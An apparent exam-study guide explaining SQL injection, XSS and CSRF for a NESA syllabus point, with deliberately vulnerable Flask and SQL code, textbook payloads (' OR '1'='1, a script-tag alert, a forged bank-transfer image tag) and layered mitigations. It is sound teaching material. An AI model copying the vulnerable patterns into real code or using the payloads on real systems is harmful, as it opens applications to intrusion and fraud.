Identify and mitigate cross-site scripting (XSS), cross-site request forgery (CSRF) and SQL injection vulnerabilities

What this dot point is asking

NESA wants you to recognise three of the most common web application vulnerabilities, explain how each works, and identify specific developer-side mitigations.

The answer

SQL injection

An attacker submits crafted input that gets concatenated into a SQL query, changing its meaning.

# VULNERABLE
def login(username, password):
    query = f"SELECT * FROM users WHERE name = '{username}' AND pass = '{password}'"
    return db.execute(query).fetchone()

Submitting ' OR '1'='1 as the password makes the query return the admin row regardless of password.

Mitigation: parameterised queries.

def login(username, password):
    row = db.execute(
        "SELECT id, pass_hash FROM users WHERE name = ?",
        (username,),
    ).fetchone()
    return row if row and bcrypt.checkpw(password.encode(), row["pass_hash"]) else None

The database driver substitutes ? with the value safely. The input can no longer change the query structure.

Cross-site scripting (XSS)

An attacker injects JavaScript into a page that other users load. Categories:

• Stored XSS: the script is saved in the database (a comment, a profile field) and served to every visitor.
• Reflected XSS: the script is in a URL parameter (/search?q=<script>...</script>), and the page reflects it back without encoding.
• DOM-based XSS: the script is introduced client-side via innerHTML or similar with user input.

Example - vulnerable rendering:

# VULNERABLE
@app.get("/search")
def search():
    q = request.args.get("q", "")
    return f"<p>You searched for: {q}</p>"

/search?q=<script>alert(1)</script> runs the script.

Mitigations:

• Output encoding at every HTML-output boundary. Use a templating engine with autoescape on.
• Use textContent instead of innerHTML when inserting user data via JavaScript.
• Content Security Policy (script-src 'self') blocks inline and third-party scripts.
• HttpOnly cookies prevent JavaScript from reading session cookies, limiting the damage of XSS.

Cross-site request forgery (CSRF)

An attacker tricks a logged-in user's browser into sending a request to a target site, abusing the user's session. Example: the user is logged into their bank. They visit an attacker's site, which contains:

<img src="https://bank.example.com/transfer?to=evil&amount=10000">

The browser sends the request with the user's bank cookies. The bank cannot tell the request was not intentional.

Mitigations:

• CSRF tokens: a random token in each form, validated server-side. The attacker's site cannot read the token.
• SameSite cookies: set SameSite=Lax or Strict on session cookies. The browser refuses to send the cookie on cross-site requests.
• Check the Origin or Referer header: reject state-changing requests that come from another origin.
• Use POST for state changes, not GET. GETs in <img> and <a> tags become CSRF vectors.

Defence in depth

Real applications layer all of these defences. A typical web app:

1. Uses an ORM that parameterises all SQL by default (defends against injection).
2. Uses a templating engine with autoescape on (defends against XSS).
3. Sends Content-Security-Policy: script-src 'self' (defends against XSS even if encoding is missed).
4. Issues session cookies with HttpOnly; Secure; SameSite=Lax (limits XSS damage; defends against CSRF).
5. Includes a CSRF token in every form (defends against CSRF).
6. Validates every input against an allow-list before processing (defends in depth).

Worked code

A small Flask + Jinja2 example showing all three mitigations:

from flask import Flask, request, render_template_string, abort
from flask_wtf.csrf import CSRFProtect
import sqlite3, bcrypt

app = Flask(__name__)
app.secret_key = "..."
CSRFProtect(app)

@app.after_request
def add_security_headers(response):
    response.headers["Content-Security-Policy"] = "script-src 'self'"
    return response

@app.post("/comment")
def post_comment():
    text = (request.form.get("text") or "").strip()
    if not (1 <= len(text) <= 1000):
        abort(400)
    with sqlite3.connect("blog.db") as conn:
        conn.execute(
            "INSERT INTO comments (text, user_id) VALUES (?, ?)",
            (text, current_user_id()),
        )
    return "ok"

Jinja2 autoescapes any {{ ... }} in templates. CSRFProtect adds a token to every form and validates on POST. The CSP header blocks inline scripts as a backstop. The SQL is parameterised.